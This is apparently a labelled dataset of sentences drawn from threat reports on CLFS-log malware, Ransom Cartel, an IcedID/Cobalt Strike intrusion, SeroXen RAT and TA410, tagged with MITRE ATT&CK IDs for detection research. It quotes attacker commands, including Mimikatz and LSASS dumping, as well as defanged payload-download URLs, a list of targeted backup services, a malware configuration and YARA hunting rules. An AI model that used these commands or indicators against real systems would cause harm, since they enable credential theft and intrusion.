Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile().", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "A WORD value of 2, 3, 4, or 5 at offset 16 (number of blocks)", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following: Its first DWORD must equal 2 (assumed magic value)", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Fix the section permissions Resolve the imports in the Import Table Execute the payload's entry point Find and execute the export function named SvcMain Hunting for PRIVATELOG Container Sample Figure 4 shows a fabricated container file representing a sample expected log file created by STASHLOG and loaded by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Figure 4: Example log file created by STASHLOG YARA Rules Mandiant created YARA rules to hunt for PRIVATELOG and STASHLOG as well as possible variants based on various methodologies and unique strings that they use.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "condition: filesize < 100MB and filesize >= 512KB and uint16(0) == 0x0015 // signature and uint8(2) !", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "== 0x70 // size of record header and for any i in (0 .. (filesize \\ 512) - 1) : ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4)", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" strings: $hvid = \"Global\\\\HVID_\" ascii $apci = \"Global\\\\APCI#\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "These would cover cases where PRIVATELOG may resolve imports dynamically with LoadLibrary() and GetProcAddress(), versus static imports in currently known samples.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Example hunting queries include: Any process writing or loading C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\dbghelp.dll Any process loading both clfsw32.dll and ktmw32.dll svchost.exe -k print loading clfsw32.dll or ktmw32.dll Any svchost.exe process loading clfsw32.dll Concerning svchost.exe, although we have observed many cases of other svchost.exe processes loading ktmw32.dll, we have only rarely observed svchost.exe processes loading clfsw32.dll.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Ransom Cartel is ransomware as a service (RaaS) that surfaced in mid-December 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "At the time, it was not possible to make a definitive attribution stating which group was behind the redirect because the new name-and-shame blog did not claim any name or affiliation.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Over time, the threat actors began adding records that had appeared on “Happy Blog,” mostly from late April to October 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Whether this blog is operated by Ransom Cartel or a different group, what is clear is that, while REvil may have disappeared, its malicious influence has not.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel Overview We first observed Ransom Cartel around mid-January 2022.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Additionally, Unit 42 has seen no connection between these groups and Ransom Cartel other than that many of them have connections to REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Unit 42 has also observed Ransom Cartel group breaching organizations, with the first known victims observed by us around January 2022 in the U.S. and France.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Like many other ransomware gangs, Ransom Cartel leverages double extortion techniques.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Unit 42 has observed the group taking an aggressive approach, threatening not only to publish stolen data to their leak site, but also to send it to the victim’s partners, competitors and the news in an effort to inflict reputational damage.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel typically gains initial access to an environment via compromised credentials, which is one of the most common vectors for initial access for ransomware operators.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "To avoid the risk of detection by antivirus (AVs) or endpoint detection and response (EDR), the tool downloads the files and decrypts them locally.", "labels": ["T1105", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "We also observed the threat actor using additional tools, including LaZagne to recover credentials stored locally and Mimikatz to steal credentials from host memory.", "labels": ["T1003.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "In order to establish persistent access to Linux ESXi devices, the threat actor enables SSH after authenticating to vCenter.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel used this as a remote access tool to establish an interactive command and control channel and to scan the compromised network.", "labels": ["T1219"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "These extensions are associated with ESXi snapshots, log files, swap files, paging files and virtual disks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The first note was first observed around January 2022, and the other one first appeared in August 2022.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The second version appeared to be completely rewritten, as shown in Figure 1. Figure 1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel ransom notes.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The note on the left was first observed in January 2022; the note on the right was first observed in August 2022.It's interesting to note that the structure of the first ransom note used by Ransom Cartel shares similarities with a ransom note sent by REvil, as shown in Figure 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel TOR Site Ransom Cartel’s website for communication with victims was available via a TOR link provided in the ransom note.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "A TOR private key is needed to access the website.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The site includes details such as ransom demand, in both US dollars and bitcoin, and the Bitcoin wallet address. Figure 5.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel TOR site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The DllEntryPoint leads to a function that iterates over a call to the Curve25519 Donna algorithm 24 times.", "labels": ["T1106"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "SM_CLEANBOOT values.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "BackupExecVSSProvider BackupExecManagementService AcronisAgent veeam VeeamDeploymentService ARSM BackupExecAgentAccelerator MSExchange$ PDVFSService MSSQL$ VeeamTransportSvc memtas MSExchange vss stc_raw_agent BackupExecDiveciMediaService CAARCUpdateSvc mepocs svc$ WSBExchange sophos VSNAPVSS MVarmor64 MSSQL sql BackupExecRPCService backup MVArmor BackupExecAgentBrowser VeeamNFSSvc BackupExecJobEngine CASAD2DWebSvc bedbg AcrSch2Svc Table 4.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "This information is then formatted into the following JSON structure: {\"ver\":%d,\"pk\":\"%s\",\"uid\":\"%s\",\"sk\":\"%s\",\"unm\":\"%s\",\"net\":\"%s\",\"grp\":\"%s\",\"lng\":\"%s\",\"bro\":%s,\"os\":\"%s\",\"bit\":%d,\"dsk\":\"%s\",\"ext\":\"%s\"} Table 6 describes the purpose of each key within the structure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Once the data has been written to the registry, it is then base64-encoded and embedded within the ransom note, replacing the {KEY} placeholder.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "First, a public and private key pair will be generated using the code from this Curve25519 repository (session_public_1 and session_private_1).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Diagram of session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Registry paths and values used by Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The generated hash is used as the encryption key for Salsa20 (a symmetric encryption algorithm), and a random eight-byte nonce is generated using CryptGenRandom.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Similarly to the session_secret generation, this structure is identical to that of the REvil samples analyzed by Amossys, further showing that there have been very few changes to the REvil source code when developing Ransom Cartel samples.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "However, the storage of the encrypted configuration is slightly different, opting to store the configuration in a separate section within the binary (.ycpc19), with an initial 32-byte RC4 key followed by the raw encrypted configuration, whereas with the Ransom Cartel samples, the configuration is stored within the .data section as a base64-encoded blob.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "REvil configuration storage.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "These values indicate additional functionality within the REvil sample, which could mean that either the Ransom Cartel developers removed certain functionality or they are building off of a much earlier version of REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "A particularly interesting difference between the two malware families is that REvil opts to obfuscate their ransomware much more heavily than the Ransom Cartel group, utilizing string encryption, API hashing and more, while Ransom Cartel has almost no obfuscation outside of the configuration, hinting that the group may not possess the obfuscation engine used by REvil.", "labels": ["T1027"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "It is possible that the Ransom Cartel group is an offshoot of the original REvil threat actor group, where the individuals only possess the original source code of the REvil ransomware encryptor/decryptor, but do not have access to the obfuscation engine.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "External Remote Services Uses legitimate VPN or Citrix credentials to maintain access to an environment.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "TA0002 Execution T1072.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "TA0003 Persistence T1003.008.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "TA0005 Defense Evasion T1222.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "T1218.011.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "System Binary Proxy Execution: Rundll32 Uses Rundll32 to load and execute malicious DLL. T1562.004.", "labels": ["T1218.011"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Impair Defenses: Disable or Modify System Firewall Deletes rules in the Windows Defender Firewall exception list related to AnyDesk T1070.004.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Data Encrypted for Impact Encrypts system data and adds the random extension to encrypted files.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "While Ransom Cartel uses double extortion and some of the same TTPs we often observe during ransomware attacks, this type of ransomware uses less common tools – DonPAPI for example – that we haven’t observed in any other ransomware attacks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Anti-Ransomware Module to detect Ransom Cartel encryption behaviors on Windows.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "PT.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Around 16 hours after the initial execution, the first Cobalt Strike beacon DLL rapuab1.dll was executed from the IcedID malware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "At this point, the threat actors had the clear text credentials for one of the domain administrator accounts and began moving lateral to other systems.", "labels": ["T1078"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "They issued remote commands using WMIC to conduct discovery, as well as distribute and execute Cobalt Strike beacons.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After an hour or so of failures, the threat actors proceeded to RDP to the domain controller.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "More information on this service can be found here.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Malicious ISO file First, the user clicked on the ISO file, which created a new virtual hard drive disk.", "labels": ["T1204.002"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This activity was a result of the threat actors attempting to execute various dropped tools or beacons on the endpoint, triggering a Windows Error Reporting (WER) fault process.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "We were unable to ascertain the purpose of running this script or how it furthered the threat actor’s goals.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A scheduled task was then created using this same DLL.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "echo nbproc > \\\\.\\pipe\\nbproc cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "echo xgxfpw > \\\\.\\pipe\\xgxfpw cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This traffic then triggered several network signatures for CVE-2020-1472 otherwise known as ZeroLogon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The event logs corroborated a successful exploitation with a password update Event 4742 for one of the Domain Controller passwords.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The injection is also visible from memory dumps.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto BEACHHEAD 996 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto Multiple tools and scripts were observed to access and collect credentials from compromised hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "There were several variants of Mimikatz in binary and PowerShell form: \"C:\\ProgramData\\mimikatz.exe\" \"C:\\ProgramData\\mimikatz.exe.exe\" \"C:\\ProgramData\\mimikatz_cryptovanniy.exe\" \"C:\\ProgramData\\notepad.exe\" \"C:\\ProgramData\\katz.ps1 Commands used to collect credentials and export to text files stored in the C:\\ProgramData folder included the following: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Code injection in LSASS Multiple injections into the LSASS process were observed on multiple hosts.", "labels": ["T1003.001", "T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Process dump of the LSASS process was undertaken using the Sysinternals ProcDump utility: This process was invoked by RunDLL32.exe which was an injected Cobalt Strike beacon reaching out to the command and control server at 111.90.143[.]191.", "labels": ["T1003.001", "T1055", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A number of familiar discovery techniques were utilized using various OS commands to discover information relating to the user, host, and network configuration.", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Standard time discovery, domain trust discovery, workstation configuration discovery, and use of the net command to discover standard accounts and groups were observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "net time ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "hostname cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Following the first discovery stage, the threat actor installed RSAT (Remote Server Administration Tools) on the beachhead host, which contains the ActiveDirectory PowerShell Module.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "rundll32.exe ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "powershell.exe Add-WindowsCapability –online –Name “Rsat.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "One interesting fact to notice, the threat actors had to consult the help menu of Get-ADComputer and Export-CSV using Get-Help.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV -Path \"C:\\ProgramData\\ADComputers.csv\" -NoTypeInformation ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition, threat actors searched for Active Directory related DLLs in other directories: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Microsoft.ActiveDirectory.Management.dll C:\\Windows\\system32\\cmd.exe /C where /r C:\\Windows\\WinSxS\\ *Microsoft.ActiveDirectory.Management.dll* Hands on keyboard!", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "net ttime Other operator errors observed included the use of Cobalt Strike commands being passed as a parameter instead of a beacon task.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Both of these services were accessed on day two from one Domain Controller on the network, with file downloads relating to tooling/scripts.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ADGet is an uncommon tool, however, its function is very similar to ADfind–the key difference is that LDAP queries are not passed, they are instead coded into the binary itself.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "As we can see above, WmiPrvSe.exe (WMI Provider Host) executed the PowerShell Cobalt Strike beacon on the remote computers.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The beacon C:\\ProgramData\\lsass.exe was used to proxy RDP connections and connect to another computer.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Connections were made to various IP’s over the length of the intrusion, but two made up the majority of the traffic.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The beacons used recognizable default Cobalt Strike configurations and attempted to masquerade dropped files as legitimate Microsoft Windows executables.", "labels": ["T1036.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Over the length of the intrusion four different Cobalt Strike servers were observed in use.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The AnyDesk service password was set manually using the command line as shown below:", "labels": ["T1027", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "-NoLogo", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "While the threat actors made attempts to proxy RDP traffic and minimize external RDP access, the threat actors’ workstation was revealed in several Windows logs.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Mega user account:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Ransomware", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The HTML message was dropped in various directories across the endpoints:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This blog was jointly written with Alejandro Prada and Ofer Caspi.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It is only a matter of time before it is used to target companies instead of individual users.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "As the malware is fileless and executed only in memory after going through several decryptions and decompression routines, it is more difficult to detect by antiviruses.", "labels": ["T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Regarding the dynamic analysis, it is worth noting that some sandbox environments might fail to detect the RAT due to its utilization of several techniques to evade virtualization and sandbox detection mechanisms and string encryption subsequent payloads.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This enables it to identify virtualization environments such as VMware and abort the execution to delay and make the analysis harder.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "During the bat execution, the script extracts two separate binaries from the base64 encoded text, AES decrypts, and GZIP decompresses it to produce two separate byte arrays.", "labels": ["T1027", "T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The extraction of the resources leads to the final payloads.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This prefix hardens the visualization of the attack on the system, but eases attribution of the malware family during the analysis.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The prefix is used to hide files, directories, NamedPipes, scheduled tasks, processes, registry keys/values, and services.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”.pipe” HIDE_PREFIX L”control” The two main components in this project are the InstallStager service and the Rootkit.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ChildProcessListener: Injects the rootkit to a newly created process by another process and updates the callee via NamedPipe. Figure 7.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Supported commands are listed below: Command Details CONTROL_R77_UNINSTALL The control code that uninstalls r77.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_USER_RUNPE The control code that executes an executable using process hollowing.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Discovery T1016:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Seroxen webpage Seroxen features Quasar RAT NirCmd – Windows command line tool (nirsoft.net) R77-rootkit The post SeroXen RAT for sale appeared first on Cybersecurity Insiders.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ESET researchers have documented and analyzed TA410 activity going back to 2019.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "However, we found a custom AntivirusCheck class, which can check running processes against a hardcoded list of executable filenames from known security products, including ESET products.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Attribution ESET researchers believe that TA410 is composed of three different teams, using very similar tactics, techniques, and procedures (TTPs) but different toolsets and exiting from IP addresses located in three different districts.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "According to ESET telemetry, the victims are located in Africa, Asia, the Middle East, and Europe.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This shows that LookingFrog operators closely follow the discovery of RCE vulnerabilities in popular server applications and quickly make use of any available exploit in order to gain control of unpatched servers run by organizations on their target lists.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "In addition to the full-featured backdoors analyzed in the following sections, these attackers use a variety of tools such as vulnerability scanners, exploits from the Equation Group leaks, proxy/tunneling utilities (HTran, LCX, EarthWorm), and lateral movement scripts such as WMIExec. Arsenal TA410 – FlowingFrog FlowingFrog uses a first stage that ESET researchers have named the Tendyron downloader, and a complex second stage named FlowCloud, so named by the developers in its modules’ PDB paths.", "labels": ["T1047", "T1090"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Royal Road RTF document found on VirusTotal (SHA‑1: ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The PE resources 103, 104 and 105 contain the payload URLs, XORed with 0xD3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The following files are downloaded and written to disk: http://103.139.2[.]93:1702/tdr.dat written to %localappdata%\\Tendyron\\Tendyron.exe (SHA-1: 09C76522136B5E9BAB74381FEEE265F7E9B1D550) http://103.139.2[.]93:1702/okt.dat written to %localappdata%\\Tendyron\\OnKeyToken_KEB.dll (SHA‑1: F359D3C074135BBCA9A4C98A6B6544690EDAE93D) http://103.139.2[.]93:1702/md.dat written to %localappdata%\\Tendyron\\Tendyron.conf (we were not able to retrieve this file)", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Finally, this process separately downloads http://103.139.2[.]93:1702/t86.dat (resource 101), loads it into memory, and calls its startModule export.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Tendyron.exe is a legitimate executable, signed by online-banking security vendor Tendyron Corporation, and that is vulnerable to DLL search-order hijacking.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "When executed, Tendyron.exe loads the malicious OnKeyToken_KEB.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This technique makes it harder to dump the plaintext values from the process’s memory and to analyze exit dumps.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The samples we analyzed all store their files in the %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\ directory; we believe that this is the default value.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "We explain each of the steps in further detail in the upcoming sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This configuration defines the malware’s install path along with the filename or registry key where each embedded resource is to be written.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970 #Product name, these will be used in the configuration generator and applied to the front end[product]product_chs_name=Sky Arrowproduct_name=PCArrowIproduct_version=v5.0.2 [", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "general]created_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msoleinstall_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msoledata_folder=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\fcdata hide_user_activity_tab = 0 #File path, not including drive letter[file]100=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\responsor.dat103=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlang.exe104=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlangloc.dat#105=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rebare.dat106=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure.dat107=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure86.dat108=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\rescure64.dat109=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\sspisrvui.dat110=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlangloc.dll101=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\E86F36C4102=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\AC1461421000=:\\Program Files\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\E19D9D4B #0x0001 Release without decryption#0x0002 Decryption release[file_out_type]100=0x0001103=0x0002104=0x0002#105=0x0002106=0x0002107=0x0002108=0x0002109=0x0002110=0x0002101=0x0001102=0x00011000=0x0001 ##Registry path: separated by'|', respectively representing HKEY_LOCAL_MACHINE, path name, value 